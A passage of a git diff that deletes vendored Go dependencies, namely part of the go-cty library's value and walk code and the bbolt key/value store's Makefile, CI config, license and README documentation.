-// which must both be numbers or this method will panic. -func (val Value) LessThan(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.LessThan(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Bool, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Bool) - return *shortCircuit - } - - return BoolVal(val.v.(*big.Float).Cmp(other.v.(*big.Float)) < 0) -} - -// GreaterThan returns True if the receiver is greater than the other given -// value, which must both be numbers or this method will panic. -func (val Value) GreaterThan(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.GreaterThan(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Bool, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Bool) - return *shortCircuit - } - - return BoolVal(val.v.(*big.Float).Cmp(other.v.(*big.Float)) > 0) -} - -// LessThanOrEqualTo is equivalent to LessThan and Equal combined with Or. -func (val Value) LessThanOrEqualTo(other Value) Value { - return val.LessThan(other).Or(val.Equals(other)) -} - -// GreaterThanOrEqualTo is equivalent to GreaterThan and Equal combined with Or. -func (val Value) GreaterThanOrEqualTo(other Value) Value { - return val.GreaterThan(other).Or(val.Equals(other)) -} - -// AsString returns the native string from a non-null, non-unknown cty.String -// value, or panics if called on any other value. -func (val Value) AsString() string { - val.assertUnmarked() - if val.ty != String { - panic("not a string") - } - if val.IsNull() { - panic("value is null") - } - if !val.IsKnown() { - panic("value is unknown") - } - - return val.v.(string) -} - -// AsBigFloat returns a big.Float representation of a non-null, non-unknown -// cty.Number value, or panics if called on any other value. -// -// For more convenient conversions to other native numeric types, use the -// "gocty" package. -func (val Value) AsBigFloat() *big.Float { - val.assertUnmarked() - if val.ty != Number { - panic("not a number") - } - if val.IsNull() { - panic("value is null") - } - if !val.IsKnown() { - panic("value is unknown") - } - - // Copy the float so that callers can't mutate our internal state - ret := *(val.v.(*big.Float)) - - return &ret -} - -// AsValueSlice returns a []cty.Value representation of a non-null, non-unknown -// value of any type that CanIterateElements, or panics if called on -// any other value. -// -// For more convenient conversions to slices of more specific types, use -// the "gocty" package. -func (val Value) AsValueSlice() []Value { - val.assertUnmarked() - l := val.LengthInt() - if l == 0 { - return nil - } - - ret := make([]Value, 0, l) - for it := val.ElementIterator(); it.Next(); { - _, v := it.Element() - ret = append(ret, v) - } - return ret -} - -// AsValueMap returns a map[string]cty.Value representation of a non-null, -// non-unknown value of any type that CanIterateElements, or panics if called -// on any other value. -// -// For more convenient conversions to maps of more specific types, use -// the "gocty" package. -func (val Value) AsValueMap() map[string]Value { - val.assertUnmarked() - l := val.LengthInt() - if l == 0 { - return nil - } - - ret := make(map[string]Value, l) - for it := val.ElementIterator(); it.Next(); { - k, v := it.Element() - ret[k.AsString()] = v - } - return ret -} - -// AsValueSet returns a ValueSet representation of a non-null, -// non-unknown value of any collection type, or panics if called -// on any other value. -// -// Unlike AsValueSlice and AsValueMap, this method requires specifically a -// collection type (list, set or map) and does not allow structural types -// (tuple or object), because the ValueSet type requires homogenous -// element types. -// -// The returned ValueSet can store only values of the receiver's element type. -func (val Value) AsValueSet() ValueSet { - val.assertUnmarked() - if !val.Type().IsCollectionType() { - panic("not a collection type") - } - - // We don't give the caller our own set.Set (assuming we're a cty.Set value) - // because then the caller could mutate our internals, which is forbidden. - // Instead, we will construct a new set and append our elements into it. - ret := NewValueSet(val.Type().ElementType()) - for it := val.ElementIterator(); it.Next(); { - _, v := it.Element() - ret.Add(v) - } - return ret -} - -// EncapsulatedValue returns the native value encapsulated in a non-null, -// non-unknown capsule-typed value, or panics if called on any other value. -// -// The result is the same pointer that was passed to CapsuleVal to create -// the value. Since cty considers values to be immutable, it is strongly -// recommended to treat the encapsulated value itself as immutable too. -func (val Value) EncapsulatedValue() interface{} { - val.assertUnmarked() - if !val.Type().IsCapsuleType() { - panic("not a capsule-typed value") - } - - return val.v -} diff --git a/vendor/github.com/zclconf/go-cty/cty/walk.go b/vendor/github.com/zclconf/go-cty/cty/walk.go deleted file mode 100644 index a6943babef..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/walk.go +++ /dev/null @@ -1,182 +0,0 @@ -package cty - -// Walk visits all of the values in a possibly-complex structure, calling -// a given function for each value. -// -// For example, given a list of strings the callback would first be called -// with the whole list and then called once for each element of the list. -// -// The callback function may prevent recursive visits to child values by -// returning false. The callback function my halt the walk altogether by -// returning a non-nil error. If the returned error is about the element -// currently being visited, it is recommended to use the provided path -// value to produce a PathError describing that context. -// -// The path passed to the given function may not be used after that function -// returns, since its backing array is re-used for other calls. -func Walk(val Value, cb func(Path, Value) (bool, error)) error { - var path Path - return walk(path, val, cb) -} - -func walk(path Path, val Value, cb func(Path, Value) (bool, error)) error { - deeper, err := cb(path, val) - if err != nil { - return err - } - if !deeper { - return nil - } - - if val.IsNull() || !val.IsKnown() { - // Can't recurse into null or unknown values, regardless of type - return nil - } - - ty := val.Type() - switch { - case ty.IsObjectType(): - for it := val.ElementIterator(); it.Next(); { - nameVal, av := it.Element() - path := append(path, GetAttrStep{ - Name: nameVal.AsString(), - }) - err := walk(path, av, cb) - if err != nil { - return err - } - } - case val.CanIterateElements(): - for it := val.ElementIterator(); it.Next(); { - kv, ev := it.Element() - path := append(path, IndexStep{ - Key: kv, - }) - err := walk(path, ev, cb) - if err != nil { - return err - } - } - } - return nil -} - -// Transform visits all of the values in a possibly-complex structure, -// calling a given function for each value which has an opportunity to -// replace that value. -// -// Unlike Walk, Transform visits child nodes first, so for a list of strings -// it would first visit the strings and then the _new_ list constructed -// from the transformed values of the list items. -// -// This is useful for creating the effect of being able to make deep mutations -// to a value even though values are immutable. However, it's the responsibility -// of the given function to preserve expected invariants, such as homogenity of -// element types in collections; this function can panic if such invariants -// are violated, just as if new values were constructed directly using the -// value constructor functions. An easy way to preserve invariants is to -// ensure that the transform function never changes the value type. -// -// The callback function my halt the walk altogether by -// returning a non-nil error. If the returned error is about the element -// currently being visited, it is recommended to use the provided path -// value to produce a PathError describing that context. -// -// The path passed to the given function may not be used after that function -// returns, since its backing array is re-used for other calls. -func Transform(val Value, cb func(Path, Value) (Value, error)) (Value, error) { - var path Path - return transform(path, val, cb) -} - -func transform(path Path, val Value, cb func(Path, Value) (Value, error)) (Value, error) { - ty := val.Type() - var newVal Value - - switch { - - case val.IsNull() || !val.IsKnown(): - // Can't recurse into null or unknown values, regardless of type - newVal = val - - case ty.IsListType() || ty.IsSetType() || ty.IsTupleType(): - l := val.LengthInt() - switch l { - case 0: - // No deep transform for an empty sequence - newVal = val - default: - elems := make([]Value, 0, l) - for it := val.ElementIterator(); it.Next(); { - kv, ev := it.Element() - path := append(path, IndexStep{ - Key: kv, - }) - newEv, err := transform(path, ev, cb) - if err != nil { - return DynamicVal, err - } - elems = append(elems, newEv) - } - switch { - case ty.IsListType(): - newVal = ListVal(elems) - case ty.IsSetType(): - newVal = SetVal(elems) - case ty.IsTupleType(): - newVal = TupleVal(elems) - default: - panic("unknown sequence type") // should never happen because of the case we are in - } - } - - case ty.IsMapType(): - l := val.LengthInt() - switch l { - case 0: - // No deep transform for an empty map - newVal = val - default: - elems := make(map[string]Value) - for it := val.ElementIterator(); it.Next(); { - kv, ev := it.Element() - path := append(path, IndexStep{ - Key: kv, - }) - newEv, err := transform(path, ev, cb) - if err != nil { - return DynamicVal, err - } - elems[kv.AsString()] = newEv - } - newVal = MapVal(elems) - } - - case ty.IsObjectType(): - switch { - case ty.Equals(EmptyObject): - // No deep transform for an empty object - newVal = val - default: - atys := ty.AttributeTypes() - newAVs := make(map[string]Value) - for name := range atys { - av := val.GetAttr(name) - path := append(path, GetAttrStep{ - Name: name, - }) - newAV, err := transform(path, av, cb) - if err != nil { - return DynamicVal, err - } - newAVs[name] = newAV - } - newVal = ObjectVal(newAVs) - } - - default: - newVal = val - } - - return cb(path, newVal) -} diff --git a/vendor/go.etcd.io/bbolt/.gitignore b/vendor/go.etcd.io/bbolt/.gitignore deleted file mode 100644 index 3bcd8cbaf0..0000000000 --- a/vendor/go.etcd.io/bbolt/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -*.prof -*.test -*.swp -/bin/ -cover.out diff --git a/vendor/go.etcd.io/bbolt/.travis.yml b/vendor/go.etcd.io/bbolt/.travis.yml deleted file mode 100644 index 257dfdfee4..0000000000 --- a/vendor/go.etcd.io/bbolt/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -language: go -go_import_path: go.etcd.io/bbolt - -sudo: false - -go: -- 1.12 - -before_install: -- go get -v honnef.co/go/tools/... -- go get -v github.com/kisielk/errcheck - -script: -- make fmt -- make test -- make race -# - make errcheck diff --git a/vendor/go.etcd.io/bbolt/LICENSE b/vendor/go.etcd.io/bbolt/LICENSE deleted file mode 100644 index 004e77fe5d..0000000000 --- a/vendor/go.etcd.io/bbolt/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 Ben Johnson - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/go.etcd.io/bbolt/Makefile b/vendor/go.etcd.io/bbolt/Makefile deleted file mode 100644 index 2968aaa61d..0000000000 --- a/vendor/go.etcd.io/bbolt/Makefile +++ /dev/null @@ -1,38 +0,0 @@ -BRANCH=`git rev-parse --abbrev-ref HEAD` -COMMIT=`git rev-parse --short HEAD` -GOLDFLAGS="-X main.branch $(BRANCH) -X main.commit $(COMMIT)" - -default: build - -race: - @TEST_FREELIST_TYPE=hashmap go test -v -race -test.run="TestSimulate_(100op|1000op)" - @echo "array freelist test" - @TEST_FREELIST_TYPE=array go test -v -race -test.run="TestSimulate_(100op|1000op)" - -fmt: - !(gofmt -l -s -d $(shell find . -name \*.go) | grep '[a-z]') - -# go get honnef.co/go/tools/simple -gosimple: - gosimple ./... - -# go get honnef.co/go/tools/unused -unused: - unused ./... - -# go get github.com/kisielk/errcheck -errcheck: - @errcheck -ignorepkg=bytes -ignore=os:Remove go.etcd.io/bbolt - -test: - TEST_FREELIST_TYPE=hashmap go test -timeout 20m -v -coverprofile cover.out -covermode atomic - # Note: gets "program not an importable package" in out of path builds - TEST_FREELIST_TYPE=hashmap go test -v ./cmd/bbolt - - @echo "array freelist test" - - @TEST_FREELIST_TYPE=array go test -timeout 20m -v -coverprofile cover.out -covermode atomic - # Note: gets "program not an importable package" in out of path builds - @TEST_FREELIST_TYPE=array go test -v ./cmd/bbolt - -.PHONY: race fmt errcheck test gosimple unused diff --git a/vendor/go.etcd.io/bbolt/README.md b/vendor/go.etcd.io/bbolt/README.md deleted file mode 100644 index 2dff3761da..0000000000 --- a/vendor/go.etcd.io/bbolt/README.md +++ /dev/null @@ -1,956 +0,0 @@ -bbolt -===== - -[![Go Report Card](https://goreportcard.com/badge/github.com/etcd-io/bbolt?style=flat-square)](https://goreportcard.com/report/github.com/etcd-io/bbolt) -[![Coverage](https://codecov.io/gh/etcd-io/bbolt/branch/master/graph/badge.svg)](https://codecov.io/gh/etcd-io/bbolt) -[![Build Status Travis](https://img.shields.io/travis/etcd-io/bboltlabs.svg?style=flat-square&&branch=master)](https://travis-ci.com/etcd-io/bbolt) -[![Godoc](http://img.shields.io/badge/go-documentation-blue.svg?style=flat-square)](https://godoc.org/github.com/etcd-io/bbolt) -[![Releases](https://img.shields.io/github/release/etcd-io/bbolt/all.svg?style=flat-square)](https://github.com/etcd-io/bbolt/releases) -[![LICENSE](https://img.shields.io/github/license/etcd-io/bbolt.svg?style=flat-square)](https://github.com/etcd-io/bbolt/blob/master/LICENSE) - -bbolt is a fork of [Ben Johnson's][gh_ben] [Bolt][bolt] key/value -store. The purpose of this fork is to provide the Go community with an active -maintenance and development target for Bolt; the goal is improved reliability -and stability. bbolt includes bug fixes, performance enhancements, and features -not found in Bolt while preserving backwards compatibility with the Bolt API. - -Bolt is a pure Go key/value store inspired by [Howard Chu's][hyc_symas] -[LMDB project][lmdb]. The goal of the project is to provide a simple, -fast, and reliable database for projects that don't require a full database -server such as Postgres or MySQL. - -Since Bolt is meant to be used as such a low-level piece of functionality, -simplicity is key. The API will be small and only focus on getting values -and setting values. That's it. - -[gh_ben]: https://github.com/benbjohnson -[bolt]: https://github.com/boltdb/bolt -[hyc_symas]: https://twitter.com/hyc_symas -[lmdb]: http://symas.com/mdb/ - -## Project Status - -Bolt is stable, the API is fixed, and the file format is fixed. Full unit -test coverage and randomized black box testing are used to ensure database -consistency and thread safety. Bolt is currently used in high-load production -environments serving databases as large as 1TB. Many companies such as -Shopify and Heroku use Bolt-backed services every day. - -## Project versioning - -bbolt uses [semantic versioning](http://semver.org). -API should not change between patch and minor releases. -New minor versions may add additional features to the API. - -## Table of Contents - - - [Getting Started](#getting-started) - - [Installing](#installing) - - [Opening a database](#opening-a-database) - - [Transactions](#transactions) - - [Read-write transactions](#read-write-transactions) - - [Read-only transactions](#read-only-transactions) - - [Batch read-write transactions](#batch-read-write-transactions) - - [Managing transactions manually](#managing-transactions-manually) - - [Using buckets](#using-buckets) - - [Using key/value pairs](#using-keyvalue-pairs) - - [Autoincrementing integer for the bucket](#autoincrementing-integer-for-the-bucket) - - [Iterating over keys](#iterating-over-keys) - - [Prefix scans](#prefix-scans) - - [Range scans](#range-scans) - - [ForEach()](#foreach) - - [Nested buckets](#nested-buckets) - - [Database backups](#database-backups) - - [Statistics](#statistics) - - [Read-Only Mode](#read-only-mode) - - [Mobile Use (iOS/Android)](#mobile-use-iosandroid) - - [Resources](#resources) - - [Comparison with other databases](#comparison-with-other-databases) - - [Postgres, MySQL, & other relational databases](#postgres-mysql--other-relational-databases) - - [LevelDB, RocksDB](#leveldb-rocksdb) - - [LMDB](#lmdb) - - [Caveats & Limitations](#caveats--limitations) - - [Reading the Source](#reading-the-source) - - [Other Projects Using Bolt](#other-projects-using-bolt) - -## Getting Started - -### Installing - -To start using Bolt, install Go and run `go get`: - -```sh -$ go get go.etcd.io/bbolt/... -``` - -This will retrieve the library and install the `bolt` command line utility into -your `$GOBIN` path. - - -### Importing bbolt - -To use bbolt as an embedded key-value store, import as: - -```go -import bolt "go.etcd.io/bbolt" - -db, err := bolt.Open(path, 0666, nil) -if err != nil { - return err -} -defer db.Close() -``` - - -### Opening a database - -The top-level object in Bolt is a `DB`. It is represented as a single file on -your disk and represents a consistent snapshot of your data. - -To open your database, simply use the `bolt.Open()` function: - -```go -package main - -import ( - "log" - - bolt "go.etcd.io/bbolt" -) - -func main() { - // Open the my.db data file in your current directory. - // It will be created if it doesn't exist. - db, err := bolt.Open("my.db", 0600, nil) - if err != nil { - log.Fatal(err) - } - defer db.Close() - - ... -} -``` - -Please note that Bolt obtains a file lock on the data file so multiple processes -cannot open the same database at the same time. Opening an already open Bolt -database will cause it to hang until the other process closes it. To prevent -an indefinite wait you can pass a timeout option to the `Open()` function: - -```go -db, err := bolt.Open("my.db", 0600, &bolt.Options{Timeout: 1 * time.Second}) -``` - - -### Transactions - -Bolt allows only one read-write transaction at a time but allows as many -read-only transactions as you want at a time. Each transaction has a consistent -view of the data as it existed when the transaction started. - -Individual transactions and all objects created from them (e.g. buckets, keys) -are not thread safe. To work with data in multiple goroutines you must start -a transaction for each one or use locking to ensure only one goroutine accesses -a transaction at a time. Creating transaction from the `DB` is thread safe. - -Read-only transactions and read-write transactions should not depend on one -another and generally shouldn't be opened simultaneously in the same goroutine. -This can cause a deadlock as the read-write transaction needs to periodically -re-map the data file but it cannot do so while a read-only transaction is open. - - -#### Read-write transactions - -To start a read-write transaction, you can use the `DB.Update()` function: - -```go -err := db.Update(func(tx *bolt.Tx) error { - ... - return nil -}) -``` - -Inside the closure, you have a consistent view of the database. You commit the -transaction by returning `nil` at the end. You can also rollback the transaction -at any point by returning an error. All database operations are allowed inside -a read-write transaction. - -Always check the return error as it will report any disk failures that can cause -your transaction to not complete. If you return an error within your closure -it will be passed through. - - -#### Read-only transactions - -To start a read-only transaction, you can use the `DB.View()` function: - -```go -err := db.View(func(tx *bolt.Tx) error { - ... - return nil -}) -``` - -You also get a consistent view of the database within this closure, however, -no mutating operations are allowed within a read-only transaction. You can only -retrieve buckets, retrieve values, and copy the database within a read-only -transaction. - - -#### Batch read-write transactions - -Each `DB.Update()` waits for disk to commit the writes. This overhead -can be minimized by combining multiple updates with the `DB.Batch()` -function: - -```go -err := db.Batch(func(tx *bolt.Tx) error { - ... - return nil -}) -``` - -Concurrent Batch calls are opportunistically combined into larger -transactions. Batch is only useful when there are multiple goroutines -calling it. - -The trade-off is that `Batch` can call the given -function multiple times, if parts of the transaction fail. The -function must be idempotent and side effects must take effect only -after a successful return from `DB.Batch()`. - -For example: don't display messages from inside the function, instead -set variables in the enclosing scope: - -```go -var id uint64 -err := db.Batch(func(tx *bolt.Tx) error { - // Find last key in bucket, decode as bigendian uint64, increment - // by one, encode back to []byte, and add new key. - ... - id = newValue - return nil -}) -if err != nil { - return ... -} -fmt.Println("Allocated ID %d", id) -``` - - -#### Managing transactions manually - -The `DB.View()` and `DB.Update()` functions are wrappers around the `DB.Begin()` -function. These helper functions will start the transaction, execute a function, -and then safely close your transaction if an error is returned. This is the -recommended way to use Bolt transactions. - -However, sometimes you may want to manually start and end your transactions. -You can use the `DB.Begin()` function directly but **please** be sure to close -the transaction. - -```go -// Start a writable transaction. -tx, err := db.Begin(true) -if err != nil { - return err -} -defer tx.Rollback() - -// Use the transaction... -_, err := tx.CreateBucket([]byte("MyBucket")) -if err != nil { - return err -} - -// Commit the transaction and check for error. -if err := tx.Commit(); err != nil { - return err -} -``` - -The first argument to `DB.Begin()` is a boolean stating if the transaction -should be writable. - - -### Using buckets - -Buckets are collections of key/value pairs within the database. All keys in a -bucket must be unique. You can create a bucket using the `Tx.CreateBucket()` -function: - -```go -db.Update(func(tx *bolt.Tx) error { - b, err := tx.CreateBucket([]byte("MyBucket")) - if err != nil { - return fmt.Errorf("create bucket: %s", err) - } - return nil -}) -``` - -You can also create a bucket only if it doesn't exist by using the -`Tx.CreateBucketIfNotExists()` function. It's a common pattern to call this -function for all your top-level buckets after you open your database so you can -guarantee that they exist for future transactions. - -To delete a bucket, simply call the `Tx.DeleteBucket()` function. - - -### Using key/value pairs - -To save a key/value pair to a bucket, use the `Bucket.Put()` function: - -```go -db.Update(func(tx *bolt.Tx) error { - b := tx.Bucket([]byte("MyBucket")) - err := b.Put([]byte("answer"), []byte("42")) - return err -}) -``` - -This will set the value of the `"answer"` key to `"42"` in the `MyBucket` -bucket. To retrieve this value, we can use the `Bucket.Get()` function: - -```go -db.View(func(tx *bolt.Tx) error { - b := tx.Bucket([]byte("MyBucket")) - v := b.Get([]byte("answer")) - fmt.Printf("The answer is: %s\n", v) - return nil -}) -``` - -The `Get()` function does not return an error because its operation is -guaranteed to work (unless there is some kind of system failure). If the key -exists then it will return its byte slice value. If it doesn't exist then it -will return `nil`. It's important to note that you can have a zero-length value -set to a key which is different than the key not existing. - -Use the `Bucket.Delete()` function to delete a key from the bucket. - -Please note that values returned from `Get()` are only valid while the -transaction is open. If you need to use a value outside of the transaction -then you must use `copy()` to copy it to another byte slice. - - -### Autoincrementing integer for the bucket -By using the `NextSequence()` function, you can let Bolt determine a sequence -which can be used as the unique identifier for your key/value pairs. See the -example below. - -```go -// CreateUser saves u to the store. The new user ID is set on u once the data is persisted. -func (s *Store) CreateUser(u *User) error { - return s.db.Update(func(tx *bolt.Tx) error { - // Retrieve the users bucket. - // This should be created when the DB is first opened. - b := tx.Bucket([]byte("users")) - - // Generate ID for the user. - // This returns an error only if the Tx is closed or not writeable. - // That can't happen in an Update() call so I ignore the error check. - id, _ := b.NextSequence() - u.ID = int(id) - - // Marshal user data into bytes. - buf, err := json.Marshal(u) - if err != nil { - return err - } - - // Persist bytes to users bucket. - return b.Put(itob(u.ID), buf) - }) -} - -// itob returns an 8-byte big endian representation of v. -func itob(v int) []byte { - b := make([]byte, 8) - binary.BigEndian.PutUint64(b, uint64(v)) - return b -} - -type User struct { - ID int - ... -} -``` - -### Iterating over keys - -Bolt stores its keys in byte-sorted order within a bucket. This makes sequential -iteration over these keys extremely fast. To iterate over keys we'll use a -`Cursor`: - -```go -db.View(func(tx *bolt.Tx) error { - // Assume bucket exists and has keys - b := tx.Bucket([]byte("MyBucket")) - - c := b.Cursor() - - for k, v := c.First(); k != nil; k, v = c.Next() { - fmt.Printf("key=%s, value=%s\n", k, v) - } - - return nil -}) -``` - -The cursor allows you to move to a specific point in the list of keys and move -forward or backward through the keys one at a time. - -The following functions are available on the cursor: - -``` -First() Move to the first key. -Last() Move to the last key. -Seek() Move to a specific key. -Next() Move to the next key. -Prev() Move to the previous key. -``` - -Each of those functions has a return signature of `(key []byte, value []byte)`. -When you have iterated to the end of the cursor then `Next()` will return a -`nil` key. You must seek to a position using `First()`, `Last()`, or `Seek()` -before calling `Next()` or `Prev()`. If you do not seek to a position then -these functions will return a `nil` key. - -During iteration, if the key is non-`nil` but the value is `nil`, that means -the key refers to a bucket rather than a value. Use `Bucket.Bucket()` to -access the sub-bucket. - - -#### Prefix scans - -To iterate over a key prefix, you can combine `Seek()` and `bytes.HasPrefix()`: - -```go -db.View(func(tx *bolt.Tx) error { - // Assume bucket exists and has keys - c := tx.Bucket([]byte("MyBucket")).Cursor() - - prefix := []byte("1234") - for k, v := c.Seek(prefix); k != nil && bytes.HasPrefix(k, prefix); k, v = c.Next() { - fmt.Printf("key=%s, value=%s\n", k, v) - } - - return nil -}) -``` - -#### Range scans - -Another common use case is scanning over a range such as a time range. If you -use a sortable time encoding such as RFC3339 then you can query a specific -date range like this: - -```go -db.View(func(tx *bolt.Tx) error { - // Assume our events bucket exists and has RFC3339 encoded time keys. - c := tx.Bucket([]byte("Events")).Cursor() - - // Our time range spans the 90's decade. - min := []byte("1990-01-01T00:00:00Z") - max := []byte("2000-01-01T00:00:00Z") - - // Iterate over the 90's. - for k, v := c.Seek(min); k != nil && bytes.Compare(k, max) <= 0; k, v = c.Next() { - fmt.Printf("%s: %s\n", k, v) - } - - return nil -}) -``` - -Note that, while RFC3339 is sortable, the Golang implementation of RFC3339Nano does not use a fixed number of digits after the decimal point and is therefore not sortable. - - -#### ForEach() - -You can also use the function `ForEach()` if you know you'll be iterating over -all the keys in a bucket: - -```go -db.View(func(tx *bolt.Tx) error { - // Assume bucket exists and has keys - b := tx.Bucket([]byte("MyBucket")) - - b.ForEach(func(k, v []byte) error { - fmt.Printf("key=%s, value=%s\n", k, v) - return nil - }) - return nil -}) -``` - -Please note that keys and values in `ForEach()` are only valid while -the transaction is open. If you need to use a key or value outside of -the transaction, you must use `copy()` to copy it to another byte -slice. - -### Nested buckets - -You can also store a bucket in a key to create nested buckets. The API is the -same as the bucket management API on the `DB` object: - -```go -func (*Bucket) CreateBucket(key []byte) (*Bucket, error) -func (*Bucket) CreateBucketIfNotExists(key []byte) (*Bucket, error) -func (*Bucket) DeleteBucket(key []byte) error -``` - -Say you had a multi-tenant application where the root level bucket was the account bucket. Inside of this bucket was a sequence of accounts which themselves are buckets. And inside the sequence bucket you could have many buckets pertaining to the Account itself (Users, Notes, etc) isolating the information into logical groupings. - -```go - -// createUser creates a new user in the given account. -func createUser(accountID int, u *User) error { - // Start the transaction. - tx, err := db.Begin(true) - if err != nil { - return err - } - defer tx.Rollback() - - // Retrieve the root bucket for the account. - // Assume this has already been created when the account was set up. - root := tx.Bucket([]byte(strconv.FormatUint(accountID, 10))) - - // Setup the users bucket. - bkt, err := root.CreateBucketIfNotExists([]byte("USERS")) - if err != nil { - return err - } - - // Generate an ID for the new user. - userID, err := bkt.NextSequence() - if err != nil { - return err - } - u.ID = userID - - // Marshal and save the encoded user. - if buf, err := json.Marshal(u); err != nil { - return err - } else if err := bkt.Put([]byte(strconv.FormatUint(u.ID, 10)), buf); err != nil { - return err - } - - // Commit the transaction. - if err := tx.Commit(); err != nil { - return err - } - - return nil -} - -``` - - - - -### Database backups - -Bolt is a single file so it's easy to backup. You can use the `Tx.WriteTo()` -function to write a consistent view of the database to a writer. If you call -this from a read-only transaction, it will perform a hot backup and not block -your other database reads and writes. - -By default, it will use a regular file handle which will utilize the operating -system's page cache. See the [`Tx`](https://godoc.org/go.etcd.io/bbolt#Tx) -documentation for information about optimizing for larger-than-RAM datasets. - -One common use case is to backup over HTTP so you can use tools like `cURL` to -do database backups: - -```go -func BackupHandleFunc(w http.ResponseWriter, req *http.Request) { - err := db.View(func(tx *bolt.Tx) error { - w.Header().Set("Content-Type", "application/octet-stream") - w.Header().Set("Content-Disposition", `attachment; filename="my.db"`) - w.Header().Set("Content-Length", strconv.Itoa(int(tx.Size()))) - _, err := tx.WriteTo(w) - return err - }) - if err != nil { - http.Error(w, err.Error(), http.StatusInternalServerError) - } -} -``` - -Then you can backup using this command: - -```sh -$ curl http://localhost/backup > my.db -``` - -Or you can open your browser to `http://localhost/backup` and it will download -automatically. - -If you want to backup to another file you can use the `Tx.CopyFile()` helper -function. - - -### Statistics - -The database keeps a running count of many of the internal operations it -performs so you can better understand what's going on. By grabbing a snapshot -of these stats at two points in time we can see what operations were performed -in that time range. - -For example, we could start a goroutine to log stats every 10 seconds: - -```go -go func() { - // Grab the initial stats. - prev := db.Stats() - - for { - // Wait for 10s. - time.Sleep(10 * time.Second) - - // Grab the current stats and diff them. - stats := db.Stats() - diff := stats.Sub(&prev) - - // Encode stats to JSON and print to STDERR. - json.NewEncoder(os.Stderr).Encode(diff) - - // Save stats for the next loop. - prev = stats - } -}() -``` - -It's also useful to pipe these stats to a service such as statsd for monitoring -or to provide an HTTP endpoint that will perform a fixed-length sample. - - -### Read-Only Mode - -Sometimes it is useful to create a shared, read-only Bolt database. To this, -set the `Options.ReadOnly` flag when opening your database. Read-only mode -uses a shared lock to allow multiple processes to read from the database but -it will block any processes from opening the database in read-write mode. - -```go -db, err := bolt.Open("my.db", 0666, &bolt.Options{ReadOnly: true}) -if err != nil { - log.Fatal(err) -} -``` - -### Mobile Use (iOS/Android) - -Bolt is able to run on mobile devices by leveraging the binding feature of the -[gomobile](https://github.com/golang/mobile) tool. Create a struct that will -contain your database logic and a reference to a `*bolt.DB` with a initializing -constructor that takes in a filepath where the database file will be stored. -Neither Android nor iOS require extra permissions or cleanup from using this method. - -```go -func NewBoltDB(filepath string) *BoltDB { - db, err := bolt.Open(filepath+"/demo.db", 0600, nil) - if err != nil { - log.Fatal(err) - } - - return &BoltDB{db} -} - -type BoltDB struct { - db *bolt.DB - ... -} - -func (b *BoltDB) Path() string { - return b.db.Path() -} - -func (b *BoltDB) Close() { - b.db.Close() -} -``` - -Database logic should be defined as methods on this wrapper struct. - -To initialize this struct from the native language (both platforms now sync -their local storage to the cloud. These snippets disable that functionality for the -database file): - -#### Android - -```java -String path; -if (android.os.Build.VERSION.SDK_INT >=android.os.Build.VERSION_CODES.LOLLIPOP){ - path = getNoBackupFilesDir().getAbsolutePath(); -} else{ - path = getFilesDir().getAbsolutePath(); -} -Boltmobiledemo.BoltDB boltDB = Boltmobiledemo.NewBoltDB(path) -``` - -#### iOS - -```objc -- (void)demo { - NSString* path = [NSSearchPathForDirectoriesInDomains(NSLibraryDirectory, - NSUserDomainMask, - YES) objectAtIndex:0]; - GoBoltmobiledemoBoltDB * demo = GoBoltmobiledemoNewBoltDB(path); - [self addSkipBackupAttributeToItemAtPath:demo.path]; - //Some DB Logic would go here - [demo close]; -} - -- (BOOL)addSkipBackupAttributeToItemAtPath:(NSString *) filePathString -{ - NSURL* URL= [NSURL fileURLWithPath: filePathString]; - assert([[NSFileManager defaultManager] fileExistsAtPath: [URL path]]); - - NSError *error = nil; - BOOL success = [URL setResourceValue: [NSNumber numberWithBool: YES] - forKey: NSURLIsExcludedFromBackupKey error: &error]; - if(!success){ - NSLog(@"Error excluding %@ from backup %@", [URL lastPathComponent], error); - } - return success; -} - -``` - -## Resources - -For more information on getting started with Bolt, check out the following articles: - -* [Intro to BoltDB: Painless Performant Persistence](http://npf.io/2014/07/intro-to-boltdb-painless-performant-persistence/) by [Nate Finch](https://github.com/natefinch). -* [Bolt -- an embedded key/value database for Go](https://www.progville.com/go/bolt-embedded-db-golang/) by Progville - - -## Comparison with other databases - -### Postgres, MySQL, & other relational databases - -Relational databases structure data into rows and are only accessible through -the use of SQL. This approach provides flexibility in how you store and query -your data but also incurs overhead in parsing and planning SQL statements. Bolt -accesses all data by a byte slice key. This makes Bolt fast to read and write -data by key but provides no built-in support for joining values together. - -Most relational databases (with the exception of SQLite) are standalone servers -that run separately from your application. This gives your systems -flexibility to connect multiple application servers to a single database -server but also adds overhead in serializing and transporting data over the -network. Bolt runs as a library included in your application so all data access -has to go through your application's process. This brings data closer to your -application but limits multi-process access to the data. - - -### LevelDB, RocksDB - -LevelDB and its derivatives (RocksDB, 